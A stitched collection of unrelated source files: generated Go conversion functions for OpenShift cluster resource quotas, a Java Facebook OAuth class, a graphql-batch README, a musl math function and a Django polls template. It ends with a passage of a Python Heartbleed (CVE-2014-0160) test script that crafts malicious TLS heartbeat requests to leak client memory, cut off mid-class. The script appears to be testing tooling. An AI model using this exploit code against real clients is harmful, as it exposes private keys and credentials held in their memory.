text:
package v1

import (
	unsafe "unsafe"

	v1 "github.com/openshift/api/quota/v1"
	quota "github.com/openshift/openshift-apiserver/pkg/quota/apis/quota"
	metav1 "k8s.io/apimachinery/pkg/apis/meta/v1"
	conversion "k8s.io/apimachinery/pkg/conversion"
	runtime "k8s.io/apimachinery/pkg/runtime"
	corev1 "k8s.io/kubernetes/pkg/apis/core/v1"
)

func init() {
	localSchemeBuilder.Register(RegisterConversions)
}

// RegisterConversions adds conversion functions to the given scheme.
// Public to allow building arbitrary schemes.
func RegisterConversions(s *runtime.Scheme) error {
	if err := s.AddGeneratedConversionFunc((*v1.AppliedClusterResourceQuota)(nil), (*quota.AppliedClusterResourceQuota)(nil), func(a, b interface{}, scope conversion.Scope) error {
		return Convert_v1_AppliedClusterResourceQuota_To_quota_AppliedClusterResourceQuota(a.(*v1.AppliedClusterResourceQuota), b.(*quota.AppliedClusterResourceQuota), scope)
	}); err != nil {
		return err
	}
	if err := s.AddGeneratedConversionFunc((*quota.AppliedClusterResourceQuota)(nil), (*v1.AppliedClusterResourceQuota)(nil), func(a, b interface{}, scope conversion.Scope) error {
		return Convert_quota_AppliedClusterResourceQuota_To_v1_AppliedClusterResourceQuota(a.(*quota.AppliedClusterResourceQuota), b.(*v1.AppliedClusterResourceQuota), scope)
	}); err != nil {
		return err
	}
	if err := s.AddGeneratedConversionFunc((*v1.AppliedClusterResourceQuotaList)(nil), (*quota.AppliedClusterResourceQuotaList)(nil), func(a, b interface{}, scope conversion.Scope) error {
		return Convert_v1_AppliedClusterResourceQuotaList_To_quota_AppliedClusterResourceQuotaList(a.(*v1.AppliedClusterResourceQuotaList), b.(*quota.AppliedClusterResourceQuotaList), scope)
	}); err != nil {
		return err
	}
	if err := s.AddGeneratedConversionFunc((*quota.AppliedClusterResourceQuotaList)(nil), (*v1.AppliedClusterResourceQuotaList)(nil), func(a, b interface{}, scope conversion.Scope) error {
		return Convert_quota_AppliedClusterResourceQuotaList_To_v1_AppliedClusterResourceQuotaList(a.(*quota.AppliedClusterResourceQuotaList), b.(*v1.AppliedClusterResourceQuotaList), scope)
	}); err != nil {
		return err
	}
	if err := s.AddGeneratedConversionFunc((*v1.ClusterResourceQuota)(nil), (*quota.ClusterResourceQuota)(nil), func(a, b interface{}, scope conversion.Scope) error {
		return Convert_v1_ClusterResourceQuota_To_quota_ClusterResourceQuota(a.(*v1.ClusterResourceQuota), b.(*quota.ClusterResourceQuota), scope)
	}); err != nil {
		return err
	}
	if err := s.AddGeneratedConversionFunc((*quota.ClusterResourceQuota)(nil), (*v1.ClusterResourceQuota)(nil), func(a, b interface{}, scope conversion.Scope) error {
		return Convert_quota_ClusterResourceQuota_To_v1_ClusterResourceQuota(a.(*quota.ClusterResourceQuota), b.(*v1.ClusterResourceQuota), scope)
	}); err != nil {
		return err
	}
	if err := s.AddGeneratedConversionFunc((*v1.ClusterResourceQuotaList)(nil), (*quota.ClusterResourceQuotaList)(nil), func(a, b interface{}, scope conversion.Scope) error {
		return Convert_v1_ClusterResourceQuotaList_To_quota_ClusterResourceQuotaList(a.(*v1.ClusterResourceQuotaList), b.(*quota.ClusterResourceQuotaList), scope)
	}); err != nil {
		return err
	}
	if err := s.AddGeneratedConversionFunc((*quota.ClusterResourceQuotaList)(nil), (*v1.ClusterResourceQuotaList)(nil), func(a, b interface{}, scope conversion.Scope) error {
		return Convert_quota_ClusterResourceQuotaList_To_v1_ClusterResourceQuotaList(a.(*quota.ClusterResourceQuotaList), b.(*v1.ClusterResourceQuotaList), scope)
	}); err != nil {
		return err
	}
	if err := s.AddGeneratedConversionFunc((*v1.ClusterResourceQuotaSelector)(nil), (*quota.ClusterResourceQuotaSelector)(nil), func(a, b interface{}, scope conversion.Scope) error {
		return Convert_v1_ClusterResourceQuotaSelector_To_quota_ClusterResourceQuotaSelector(a.(*v1.ClusterResourceQuotaSelector), b.(*quota.ClusterResourceQuotaSelector), scope)
	}); err != nil {
		return err
	}
	if err := s.AddGeneratedConversionFunc((*quota.ClusterResourceQuotaSelector)(nil), (*v1.ClusterResourceQuotaSelector)(nil), func(a, b interface{}, scope conversion.Scope) error {
		return Convert_quota_ClusterResourceQuotaSelector_To_v1_ClusterResourceQuotaSelector(a.(*quota.ClusterResourceQuotaSelector), b.(*v1.ClusterResourceQuotaSelector), scope)
	}); err != nil {
		return err
	}
	if err := s.AddGeneratedConversionFunc((*v1.ClusterResourceQuotaSpec)(nil), (*quota.ClusterResourceQuotaSpec)(nil), func(a, b interface{}, scope conversion.Scope) error {
		return Convert_v1_ClusterResourceQuotaSpec_To_quota_ClusterResourceQuotaSpec(a.(*v1.ClusterResourceQuotaSpec), b.(*quota.ClusterResourceQuotaSpec), scope)
	}); err != nil {
		return err
	}
	if err := s.AddGeneratedConversionFunc((*quota.ClusterResourceQuotaSpec)(nil), (*v1.ClusterResourceQuotaSpec)(nil), func(a, b interface{}, scope conversion.Scope) error {
		return Convert_quota_ClusterResourceQuotaSpec_To_v1_ClusterResourceQuotaSpec(a.(*quota.ClusterResourceQuotaSpec), b.(*v1.ClusterResourceQuotaSpec), scope)
	}); err != nil {
		return err
	}
	if err := s.AddGeneratedConversionFunc((*v1.ClusterResourceQuotaStatus)(nil), (*quota.ClusterResourceQuotaStatus)(nil), func(a, b interface{}, scope conversion.Scope) error {
		return Convert_v1_ClusterResourceQuotaStatus_To_quota_ClusterResourceQuotaStatus(a.(*v1.ClusterResourceQuotaStatus), b.(*quota.ClusterResourceQuotaStatus), scope)
	}); err != nil {
		return err
	}
	if err := s.AddGeneratedConversionFunc((*quota.ClusterResourceQuotaStatus)(nil), (*v1.ClusterResourceQuotaStatus)(nil), func(a, b interface{}, scope conversion.Scope) error {
		return Convert_quota_ClusterResourceQuotaStatus_To_v1_ClusterResourceQuotaStatus(a.(*quota.ClusterResourceQuotaStatus), b.(*v1.ClusterResourceQuotaStatus), scope)
	}); err != nil {
		return err
	}
	if err := s.AddConversionFunc((*quota.ResourceQuotasStatusByNamespace)(nil), (*v1.ResourceQuotasStatusByNamespace)(nil), func(a, b interface{}, scope conversion.Scope) error {
		return Convert_quota_ResourceQuotasStatusByNamespace_To_v1_ResourceQuotasStatusByNamespace(a.(*quota.ResourceQuotasStatusByNamespace), b.(*v1.ResourceQuotasStatusByNamespace), scope)
	}); err != nil {
		return err
	}
	if err := s.AddConversionFunc((*v1.ResourceQuotasStatusByNamespace)(nil), (*quota.ResourceQuotasStatusByNamespace)(nil), func(a, b interface{}, scope conversion.Scope) error {
		return Convert_v1_ResourceQuotasStatusByNamespace_To_quota_ResourceQuotasStatusByNamespace(a.(*v1.ResourceQuotasStatusByNamespace), b.(*quota.ResourceQuotasStatusByNamespace), scope)
	}); err != nil {
		return err
	}
	return nil
}

func autoConvert_v1_AppliedClusterResourceQuota_To_quota_AppliedClusterResourceQuota(in *v1.AppliedClusterResourceQuota, out *quota.AppliedClusterResourceQuota, s conversion.Scope) error {
	out.ObjectMeta = in.ObjectMeta
	if err := Convert_v1_ClusterResourceQuotaSpec_To_quota_ClusterResourceQuotaSpec(&in.Spec, &out.Spec, s); err != nil {
		return err
	}
	if err := Convert_v1_ClusterResourceQuotaStatus_To_quota_ClusterResourceQuotaStatus(&in.Status, &out.Status, s); err != nil {
		return err
	}
	return nil
}

// Convert_v1_AppliedClusterResourceQuota_To_quota_AppliedClusterResourceQuota is an autogenerated conversion function.
func Convert_v1_AppliedClusterResourceQuota_To_quota_AppliedClusterResourceQuota(in *v1.AppliedClusterResourceQuota, out *quota.AppliedClusterResourceQuota, s conversion.Scope) error {
	return autoConvert_v1_AppliedClusterResourceQuota_To_quota_AppliedClusterResourceQuota(in, out, s)
}

func autoConvert_quota_AppliedClusterResourceQuota_To_v1_AppliedClusterResourceQuota(in *quota.AppliedClusterResourceQuota, out *v1.AppliedClusterResourceQuota, s conversion.Scope) error {
	out.ObjectMeta = in.ObjectMeta
	if err := Convert_quota_ClusterResourceQuotaSpec_To_v1_ClusterResourceQuotaSpec(&in.Spec, &out.Spec, s); err != nil {
		return err
	}
	if err := Convert_quota_ClusterResourceQuotaStatus_To_v1_ClusterResourceQuotaStatus(&in.Status, &out.Status, s); err != nil {
		return err
	}
	return nil
}

// Convert_quota_AppliedClusterResourceQuota_To_v1_AppliedClusterResourceQuota is an autogenerated conversion function.
func Convert_quota_AppliedClusterResourceQuota_To_v1_AppliedClusterResourceQuota(in *quota.AppliedClusterResourceQuota, out *v1.AppliedClusterResourceQuota, s conversion.Scope) error {
	return autoConvert_quota_AppliedClusterResourceQuota_To_v1_AppliedClusterResourceQuota(in, out, s)
}

func autoConvert_v1_AppliedClusterResourceQuotaList_To_quota_AppliedClusterResourceQuotaList(in *v1.AppliedClusterResourceQuotaList, out *quota.AppliedClusterResourceQuotaList, s conversion.Scope) error {
	out.ListMeta = in.ListMeta
	if in.Items != nil {
		in, out := &in.Items, &out.Items
		*out = make([]quota.AppliedClusterResourceQuota, len(*in))
		for i := range *in {
			if err := Convert_v1_AppliedClusterResourceQuota_To_quota_AppliedClusterResourceQuota(&(*in)[i], &(*out)[i], s); err != nil {
				return err
			}
		}
	} else {
		out.Items = nil
	}
	return nil
}

// Convert_v1_AppliedClusterResourceQuotaList_To_quota_AppliedClusterResourceQuotaList is an autogenerated conversion function.
func Convert_v1_AppliedClusterResourceQuotaList_To_quota_AppliedClusterResourceQuotaList(in *v1.AppliedClusterResourceQuotaList, out *quota.AppliedClusterResourceQuotaList, s conversion.Scope) error {
	return autoConvert_v1_AppliedClusterResourceQuotaList_To_quota_AppliedClusterResourceQuotaList(in, out, s)
}

func autoConvert_quota_AppliedClusterResourceQuotaList_To_v1_AppliedClusterResourceQuotaList(in *quota.AppliedClusterResourceQuotaList, out *v1.AppliedClusterResourceQuotaList, s conversion.Scope) error {
	out.ListMeta = in.ListMeta
	if in.Items != nil {
		in, out := &in.Items, &out.Items
		*out = make([]v1.AppliedClusterResourceQuota, len(*in))
		for i := range *in {
			if err := Convert_quota_AppliedClusterResourceQuota_To_v1_AppliedClusterResourceQuota(&(*in)[i], &(*out)[i], s); err != nil {
				return err
			}
		}
	} else {
		out.Items = nil
	}
	return nil
}

// Convert_quota_AppliedClusterResourceQuotaList_To_v1_AppliedClusterResourceQuotaList is an autogenerated conversion function.
func Convert_quota_AppliedClusterResourceQuotaList_To_v1_AppliedClusterResourceQuotaList(in *quota.AppliedClusterResourceQuotaList, out *v1.AppliedClusterResourceQuotaList, s conversion.Scope) error {
	return autoConvert_quota_AppliedClusterResourceQuotaList_To_v1_AppliedClusterResourceQuotaList(in, out, s)
}

func autoConvert_v1_ClusterResourceQuota_To_quota_ClusterResourceQuota(in *v1.ClusterResourceQuota, out *quota.ClusterResourceQuota, s conversion.Scope) error {
	out.ObjectMeta = in.ObjectMeta
	if err := Convert_v1_ClusterResourceQuotaSpec_To_quota_ClusterResourceQuotaSpec(&in.Spec, &out.Spec, s); err != nil {
		return err
	}
	if err := Convert_v1_ClusterResourceQuotaStatus_To_quota_ClusterResourceQuotaStatus(&in.Status, &out.Status, s); err != nil {
		return err
	}
	return nil
}

// Convert_v1_ClusterResourceQuota_To_quota_ClusterResourceQuota is an autogenerated conversion function.
func Convert_v1_ClusterResourceQuota_To_quota_ClusterResourceQuota(in *v1.ClusterResourceQuota, out *quota.ClusterResourceQuota, s conversion.Scope) error {
	return autoConvert_v1_ClusterResourceQuota_To_quota_ClusterResourceQuota(in, out, s)
}

func autoConvert_quota_ClusterResourceQuota_To_v1_ClusterResourceQuota(in *quota.ClusterResourceQuota, out *v1.ClusterResourceQuota, s conversion.Scope) error {
	out.ObjectMeta = in.ObjectMeta
	if err := Convert_quota_ClusterResourceQuotaSpec_To_v1_ClusterResourceQuotaSpec(&in.Spec, &out.Spec, s); err != nil {
		return err
	}
	if err := Convert_quota_ClusterResourceQuotaStatus_To_v1_ClusterResourceQuotaStatus(&in.Status, &out.Status, s); err != nil {
		return err
	}
	return nil
}

// Convert_quota_ClusterResourceQuota_To_v1_ClusterResourceQuota is an autogenerated conversion function.
func Convert_quota_ClusterResourceQuota_To_v1_ClusterResourceQuota(in *quota.ClusterResourceQuota, out *v1.ClusterResourceQuota, s conversion.Scope) error {
	return autoConvert_quota_ClusterResourceQuota_To_v1_ClusterResourceQuota(in, out, s)
}

func autoConvert_v1_ClusterResourceQuotaList_To_quota_ClusterResourceQuotaList(in *v1.ClusterResourceQuotaList, out *quota.ClusterResourceQuotaList, s conversion.Scope) error {
	out.ListMeta = in.ListMeta
	if in.Items != nil {
		in, out := &in.Items, &out.Items
		*out = make([]quota.ClusterResourceQuota, len(*in))
		for i := range *in {
			if err := Convert_v1_ClusterResourceQuota_To_quota_ClusterResourceQuota(&(*in)[i], &(*out)[i], s); err != nil {
				return err
			}
		}
	} else {
		out.Items = nil
	}
	return nil
}

// Convert_v1_ClusterResourceQuotaList_To_quota_ClusterResourceQuotaList is an autogenerated conversion function.
func Convert_v1_ClusterResourceQuotaList_To_quota_ClusterResourceQuotaList(in *v1.ClusterResourceQuotaList, out *quota.ClusterResourceQuotaList, s conversion.Scope) error {
	return autoConvert_v1_ClusterResourceQuotaList_To_quota_ClusterResourceQuotaList(in, out, s)
}

func autoConvert_quota_ClusterResourceQuotaList_To_v1_ClusterResourceQuotaList(in *quota.ClusterResourceQuotaList, out *v1.ClusterResourceQuotaList, s conversion.Scope) error {
	out.ListMeta = in.ListMeta
	if in.Items != nil {
		in, out := &in.Items, &out.Items
		*out = make([]v1.ClusterResourceQuota, len(*in))
		for i := range *in {
			if err := Convert_quota_ClusterResourceQuota_To_v1_ClusterResourceQuota(&(*in)[i], &(*out)[i], s); err != nil {
				return err
			}
		}
	} else {
		out.Items = nil
	}
	return nil
}

// Convert_quota_ClusterResourceQuotaList_To_v1_ClusterResourceQuotaList is an autogenerated conversion function.
func Convert_quota_ClusterResourceQuotaList_To_v1_ClusterResourceQuotaList(in *quota.ClusterResourceQuotaList, out *v1.ClusterResourceQuotaList, s conversion.Scope) error {
	return autoConvert_quota_ClusterResourceQuotaList_To_v1_ClusterResourceQuotaList(in, out, s)
}

func autoConvert_v1_ClusterResourceQuotaSelector_To_quota_ClusterResourceQuotaSelector(in *v1.ClusterResourceQuotaSelector, out *quota.ClusterResourceQuotaSelector, s conversion.Scope) error {
	out.LabelSelector = (*metav1.LabelSelector)(unsafe.Pointer(in.LabelSelector))
	out.AnnotationSelector = *(*map[string]string)(unsafe.Pointer(&in.AnnotationSelector))
	return nil
}

// Convert_v1_ClusterResourceQuotaSelector_To_quota_ClusterResourceQuotaSelector is an autogenerated conversion function.
func Convert_v1_ClusterResourceQuotaSelector_To_quota_ClusterResourceQuotaSelector(in *v1.ClusterResourceQuotaSelector, out *quota.ClusterResourceQuotaSelector, s conversion.Scope) error {
	return autoConvert_v1_ClusterResourceQuotaSelector_To_quota_ClusterResourceQuotaSelector(in, out, s)
}

func autoConvert_quota_ClusterResourceQuotaSelector_To_v1_ClusterResourceQuotaSelector(in *quota.ClusterResourceQuotaSelector, out *v1.ClusterResourceQuotaSelector, s conversion.Scope) error {
	out.LabelSelector = (*metav1.LabelSelector)(unsafe.Pointer(in.LabelSelector))
	out.AnnotationSelector = *(*map[string]string)(unsafe.Pointer(&in.AnnotationSelector))
	return nil
}

// Convert_quota_ClusterResourceQuotaSelector_To_v1_ClusterResourceQuotaSelector is an autogenerated conversion function.
func Convert_quota_ClusterResourceQuotaSelector_To_v1_ClusterResourceQuotaSelector(in *quota.ClusterResourceQuotaSelector, out *v1.ClusterResourceQuotaSelector, s conversion.Scope) error {
	return autoConvert_quota_ClusterResourceQuotaSelector_To_v1_ClusterResourceQuotaSelector(in, out, s)
}

func autoConvert_v1_ClusterResourceQuotaSpec_To_quota_ClusterResourceQuotaSpec(in *v1.ClusterResourceQuotaSpec, out *quota.ClusterResourceQuotaSpec, s conversion.Scope) error {
	if err := Convert_v1_ClusterResourceQuotaSelector_To_quota_ClusterResourceQuotaSelector(&in.Selector, &out.Selector, s); err != nil {
		return err
	}
	if err := corev1.Convert_v1_ResourceQuotaSpec_To_core_ResourceQuotaSpec(&in.Quota, &out.Quota, s); err != nil {
		return err
	}
	return nil
}

// Convert_v1_ClusterResourceQuotaSpec_To_quota_ClusterResourceQuotaSpec is an autogenerated conversion function.
func Convert_v1_ClusterResourceQuotaSpec_To_quota_ClusterResourceQuotaSpec(in *v1.ClusterResourceQuotaSpec, out *quota.ClusterResourceQuotaSpec, s conversion.Scope) error {
	return autoConvert_v1_ClusterResourceQuotaSpec_To_quota_ClusterResourceQuotaSpec(in, out, s)
}

func autoConvert_quota_ClusterResourceQuotaSpec_To_v1_ClusterResourceQuotaSpec(in *quota.ClusterResourceQuotaSpec, out *v1.ClusterResourceQuotaSpec, s conversion.Scope) error {
	if err := Convert_quota_ClusterResourceQuotaSelector_To_v1_ClusterResourceQuotaSelector(&in.Selector, &out.Selector, s); err != nil {
		return err
	}
	if err := corev1.Convert_core_ResourceQuotaSpec_To_v1_ResourceQuotaSpec(&in.Quota, &out.Quota, s); err != nil {
		return err
	}
	return nil
}

// Convert_quota_ClusterResourceQuotaSpec_To_v1_ClusterResourceQuotaSpec is an autogenerated conversion function.
func Convert_quota_ClusterResourceQuotaSpec_To_v1_ClusterResourceQuotaSpec(in *quota.ClusterResourceQuotaSpec, out *v1.ClusterResourceQuotaSpec, s conversion.Scope) error {
	return autoConvert_quota_ClusterResourceQuotaSpec_To_v1_ClusterResourceQuotaSpec(in, out, s)
}

func autoConvert_v1_ClusterResourceQuotaStatus_To_quota_ClusterResourceQuotaStatus(in *v1.ClusterResourceQuotaStatus, out *quota.ClusterResourceQuotaStatus, s conversion.Scope) error {
	if err := corev1.Convert_v1_ResourceQuotaStatus_To_core_ResourceQuotaStatus(&in.Total, &out.Total, s); err != nil {
		return err
	}
	if err := Convert_v1_ResourceQuotasStatusByNamespace_To_quota_ResourceQuotasStatusByNamespace(&in.Namespaces, &out.Namespaces, s); err != nil {
		return err
	}
	return nil
}

// Convert_v1_ClusterResourceQuotaStatus_To_quota_ClusterResourceQuotaStatus is an autogenerated conversion function.
func Convert_v1_ClusterResourceQuotaStatus_To_quota_ClusterResourceQuotaStatus(in *v1.ClusterResourceQuotaStatus, out *quota.ClusterResourceQuotaStatus, s conversion.Scope) error {
	return autoConvert_v1_ClusterResourceQuotaStatus_To_quota_ClusterResourceQuotaStatus(in, out, s)
}

func autoConvert_quota_ClusterResourceQuotaStatus_To_v1_ClusterResourceQuotaStatus(in *quota.ClusterResourceQuotaStatus, out *v1.ClusterResourceQuotaStatus, s conversion.Scope) error {
	if err := corev1.Convert_core_ResourceQuotaStatus_To_v1_ResourceQuotaStatus(&in.Total, &out.Total, s); err != nil {
		return err
	}
	if err := Convert_quota_ResourceQuotasStatusByNamespace_To_v1_ResourceQuotasStatusByNamespace(&in.Namespaces, &out.Namespaces, s); err != nil {
		return err
	}
	return nil
}

// Convert_quota_ClusterResourceQuotaStatus_To_v1_ClusterResourceQuotaStatus is an autogenerated conversion function.
func Convert_quota_ClusterResourceQuotaStatus_To_v1_ClusterResourceQuotaStatus(in *quota.ClusterResourceQuotaStatus, out *v1.ClusterResourceQuotaStatus, s conversion.Scope) error {
	return autoConvert_quota_ClusterResourceQuotaStatus_To_v1_ClusterResourceQuotaStatus(in, out, s)
}


text:
package org.scribe.builder.api;

import org.scribe.model.*;

import org.scribe.utils.*;
import static org.scribe.utils.URLUtils.*;

public class FacebookApi extends DefaultApi20
{
  private static final String AUTHORIZE_URL = "https://www.facebook.com/dialog/oauth?client_id=%s&redirect_uri=%s";
  private static final String SCOPED_AUTHORIZE_URL = AUTHORIZE_URL + "&scope=%s";

  @Override
  public String getAccessTokenEndpoint()
  {
    return "https://graph.facebook.com/oauth/access_token";
  }

  @Override
  public String getAuthorizationUrl(OAuthConfig config)
  {
    Preconditions.check(config.getCallback().hasValidUrl(), "Must provide a valid url as callback. Facebook does not support OOB");

    // Append scope if present
    if(config.hasScope())
    {
     return String.format(SCOPED_AUTHORIZE_URL, config.getApiKey(),config.getCallback().makeURLEncodedValue(), formURLEncode(config.getScope()));
    }
    else
    {
      return String.format(AUTHORIZE_URL, config.getApiKey(), config.getCallback().makeURLEncodedValue());
    }
  }
}

redpajama_set_name: RedPajamaGithub


text:
[![Build Status](https://github.com/Shopify/graphql-batch/actions/workflows/ci.yml/badge.svg)](https://github.com/Shopify/graphql-batch/actions)
[![Gem Version](https://badge.fury.io/rb/graphql-batch.svg)](https://rubygems.org/gems/graphql-batch)

Provides an executor for the [`graphql` gem](https://github.com/rmosolgo/graphql-ruby) which allows queries to be batched.

## Installation

Add this line to your application's Gemfile:

```ruby
gem 'graphql-batch'
```

And then execute:

    $ bundle

Or install it yourself as:

    $ gem install graphql-batch

## Usage

### Basic Usage

#### Schema Configuration

Require the library

```ruby
require 'graphql/batch'
```

Define a custom loader, which is initialized with arguments that are used for grouping and a perform method for performing the batch load.

```ruby
class RecordLoader < GraphQL::Batch::Loader
  def initialize(model)
    @model = model
  end

  def perform(ids)
    @model.where(id: ids).each { |record| fulfill(record.id, record) }
    ids.each { |id| fulfill(id, nil) unless fulfilled?(id) }
  end
end
```

Use `GraphQL::Batch` as a plugin in your schema _after_ specifying the mutation
so that `GraphQL::Batch` can extend the mutation fields to clear the cache after
they are resolved.

```ruby
class MySchema < GraphQL::Schema
  query MyQueryType
  mutation MyMutationType

  use GraphQL::Batch
end
```

#### Field Usage

The loader class can be used from the resolver for a graphql field by calling `.for` with the grouping arguments to get a loader instance, then call `.load` on that instance with the key to load.

```ruby
field :product, Types::Product, null: true do
  argument :id, ID, required: true
end

def product(id:)
  RecordLoader.for(Product).load(id)
end
```

The loader also supports batch loading an array of records instead of just a single record, via `load_many`. For example:

```ruby
field :products, [Types::Product, null: true], null: false do
  argument :ids, [ID], required: true
end

def products(ids:)
  RecordLoader.for(Product).load_many(ids)
end
```

Although this library doesn't have a dependency on active record,
the [examples directory](examples) has record and association loaders
for active record which handles edge cases like type casting ids
and overriding GraphQL::Batch::Loader#cache_key to load associations
on records with the same id.

### Promises

GraphQL::Batch::Loader#load returns a Promise using the [promise.rb gem](https://rubygems.org/gems/promise.rb) to provide a promise based API, so you can transform the query results using `.then`

```ruby
def product_title(id:)
  RecordLoader.for(Product).load(id).then do |product|
    product.title
  end
end
```

You may also need to do another query that depends on the first one to get the result, in which case the query block can return another query.

```ruby
def product_image(id:)
  RecordLoader.for(Product).load(id).then do |product|
    RecordLoader.for(Image).load(product.image_id)
  end
end
```

If the second query doesn't depend on the first one, then you can use Promise.all, which allows each query in the group to be batched with other queries.

```ruby
def all_collections
  Promise.all([
    CountLoader.for(Shop, :smart_collections).load(context.shop_id),
    CountLoader.for(Shop, :custom_collections).load(context.shop_id),
  ]).then do |results|
    results.reduce(&:+)
  end
end
```

`.then` can optionally take two lambda arguments, the first of which is equivalent to passing a block to `.then`, and the second one handles exceptions.  This can be used to provide a fallback

```ruby
def product(id:)
  # Try the cache first ...
  CacheLoader.for(Product).load(id).then(nil, lambda do |exc|
    # But if there's a connection error, go to the underlying database
    raise exc unless exc.is_a?(Redis::BaseConnectionError)
    logger.warn err.message
    RecordLoader.for(Product).load(id)
  end)
end
```

## Unit Testing

Your loaders can be tested outside of a GraphQL query by doing the
batch loads in a block passed to `GraphQL::Batch.batch`. That method
will set up thread-local state to store the loaders, batch load any
promise returned from the block then clear the thread-local state
to avoid leaking state between tests.

```ruby
def test_single_query
  product = products(:snowboard)
  title = GraphQL::Batch.batch do
    RecordLoader.for(Product).load(product.id).then(&:title)
  end
  assert_equal product.title, title
end
```

## Development

After checking out the repo, run `bin/setup` to install dependencies. Then, run `rake test` to run the tests. You can also run `bin/console` for an interactive prompt that will allow you to experiment.

## Contributing

See our [contributing guidelines](CONTRIBUTING.md) for more information.

## License

The gem is available as open source under the terms of the [MIT License](http://opensource.org/licenses/MIT).


text:
/* @LICENSE(MUSLC_MIT) */

#include "libm.h"

#if LDBL_MANT_DIG == 53 && LDBL_MAX_EXP == 1024
long double complex casinhl(long double complex z)
{
	return casinh(z);
}
#else
long double complex casinhl(long double complex z)
{
	z = casinl(cpackl(-cimagl(z), creall(z)));
	return cpackl(cimagl(z), -creall(z));
}
#endif


text:
{% extends "polls/layout.html" %}
{% block title %}Polls{% endblock %}
{% block javascripts %}
    {{ block.super }}

{% endblock %}
{% block content %}

{% for message in messages %}
        {{ message }}

{% endfor %}

      Name
      Question
      Start Date
      Closing Date

    {% if polls %}
    {% for poll_obj in polls %}

      {{ poll_obj.name }}
      {% if poll_obj.start_date %}{{ poll_obj.question }}{% else %}{{ poll_obj.question }}{% endif %}
      {% if poll_obj.start_date %}{{ poll_obj.start_date|date:"d/m/Y" }}{% endif %}
      {% if poll_obj.end_date %}{{ poll_obj.end_date|date:"d/m/Y" }}{% else %}Open{% endif %}

              {% if poll_obj.responses__count %}

                         Report

                         Responses ({{ poll_obj.responses__count }})

	          {% endif %}

                   Edit

    {% endfor %}
    {% else %}

      No existing Polls.  Click 'Add New Poll' to create one.

    {% endif %}

      Add New Poll

<form name="form" method="post" action="">
{% csrf_token %}
</form>

{% endblock %}


text:
from __future__ import unicode_literals

try:
    import socketserver
except:
    import SocketServer as socketserver
import socket
import sys
import struct
import select, time
from argparse import ArgumentParser, ArgumentTypeError

# OpenSSL 1.0.1f buffer size is 4096 (DEFAULT_BUFFER_SIZE), data is flushed in
# buffer_write iff the size of the TLSPlaintext ("fragment") exceeds that
# buffer. So, to reliably get a heartbeat back, the payload length must be at
# least 4097 ("over 4096") - 5 (content type, TLS version, record length) - 3
# (HB type, payload length) - 16 (added padding). Also note that the maximum
# TLSPlaintext length is 0x4000 (SSL3_RT_MAX_PLAIN_LENGTH, enforced via
# max_send_fragment in ssl3_write_bytes).
#
# The returned heartbeat fragment has length 3 + payload length + 16 (type,
# payload length, payload, padding).
MAX_PLAIN_LENGTH = 0x4000

def payload_len(string):
    # Minimum OpenSSL buffer fill size for the fragment (excl. record "header")
    pl_min = 4097 - 5
    # Drop type (1) + payload length (2) + padding (16) = 19
    pl_max = 0xffed
    payload_len = int(string, 0) # Accept decimal (e.g. 18) and hex (e.g. 0x12)
    if payload_len > pl_max:
        raise ArgumentTypeError('Payload length must be at most {0} ({0:#x})'
            .format(pl_max))
    if payload_len < pl_min:
        raise ArgumentTypeError('Payload length must be at least {0} ({0:#x})'
            .format(pl_min))

    # Size of total response incl. hb type, payload len and padding
    response_len = 3 + payload_len + 16
    # Each response block must be at be the buffer size
    if 0 < response_len % MAX_PLAIN_LENGTH < pl_min:
        safe_payload_len = MAX_PLAIN_LENGTH * (response_len // MAX_PLAIN_LENGTH)
        safe_payload_len += pl_min - 3 - 16
        print(('Warning: payload length {0} ({0:#x}) will cause delays, ' +
            'try at least {1} ({1:#x})').format(payload_len, safe_payload_len))

    return payload_len

parser = ArgumentParser(description='Test clients for Heartbleed (CVE-2014-0160)')
parser.add_argument('-6', '--ipv6', action='store_true',
        help='Enable IPv6 addresses (implied by IPv6 listen addr. such as ::)')
parser.add_argument('-l', '--listen', default='',
        help='Host to listen on (default "%(default)s")')
parser.add_argument('-p', '--port', type=int, default=4433,
        help='TCP port to listen on (default %(default)d)')
# Note: FTP is (Explicit FTPS). Use TLS for Implicit FTPS
parser.add_argument('-c', '--client', default='tls',
        choices=['tls', 'mysql', 'ftp', 'smtp', 'imap', 'pop3'],
        help='Target client type (default %(default)s)')
parser.add_argument('-t', '--timeout', type=int, default=3,
        help='Timeout in seconds to wait for a Heartbeat (default %(default)d)')
parser.add_argument('--skip-server', default=False, action='store_true',
        help='Skip ServerHello, immediately write Heartbeat request')
parser.add_argument('-x', '--count', type=int, default=1,
        help='Number of Heartbeats requests to be sent (default %(default)d)')
parser.add_argument('-n', '--payload-length', type=payload_len, default=0xffed,
        dest='payload_len',
        help='Requested payload length including 19 bytes heartbeat type, ' +
            'payload length and padding (default %(default)#x bytes)')

def make_hello(sslver, cipher):
    # Record
    data = '16 ' + sslver
    data += ' 00 31' # Record length
    # Handshake
    data += ' 02 00'
    data += ' 00 2d' # Handshake length
    data += ' ' + sslver
    data += '''
    52 34 c6 6d 86 8d e8 40 97 da
    ee 7e 21 c4 1d 2e 9f e9 60 5f 05 b0 ce af 7e b7
    95 8c 33 42 3f d5 00
    '''
    data += ' '.join('{0:02x}'.format(c) for c in cipher)
    data += ' 00' # No compression
    data += ' 00 05' # Extensions length
    # Heartbeat extension
    data += ' 00 0f' # Heartbeat type
    data += ' 00 01' # Length
    data += ' 01'    # mode
    return bytearray.fromhex(data.replace('\n', ''))

def make_heartbeat(sslver, payload_len=0xffed):
    data = '18 ' + sslver
    data += ' 00 03'    # Length
    data += ' 01'       # Type: Request
    # OpenSSL responds with records of length 0x4000. It starts with 3 bytes
    # (length, response type) and ends with a 16 byte padding. If the payload is
    # too small, OpenSSL buffers it and this will cause issues with repeated
    # heartbeat requests. Therefore request a payload that fits exactly in four
    # records (0x4000 * 4 - 3 - 16 = 0xffed).
    data += ' {0:02x} {1:02x}'.format(payload_len >> 8, payload_len & 0xFF)
    return bytearray.fromhex(data.replace('\n', ''))

def hexdump(data):
    allzeroes = b'\0' * 16
    zerolines = 0

    for i in range(0, len(data), 16):
        line = data[i:i+16]
        if line == allzeroes[:len(line)]:
            zerolines += 1
            if zerolines == 2:
                print("*")
            if zerolines >= 2:
                continue

        print("{0:04x}: {1:47}  {2}".format(i,
            ' '.join('{0:02x}'.format(c) for c in line),
            ''.join(chr(c) if c >= 32 and c < 127 else '.' for c in line)))

class Failure(Exception):
    pass

class RecordParser(object):
    record_s = struct.Struct(b'!BHH')
    def __init__(self):
        self.buffer = bytearray()
        self.buffer_len = 0
        self.record_hdr = None

    def feed(self, data):
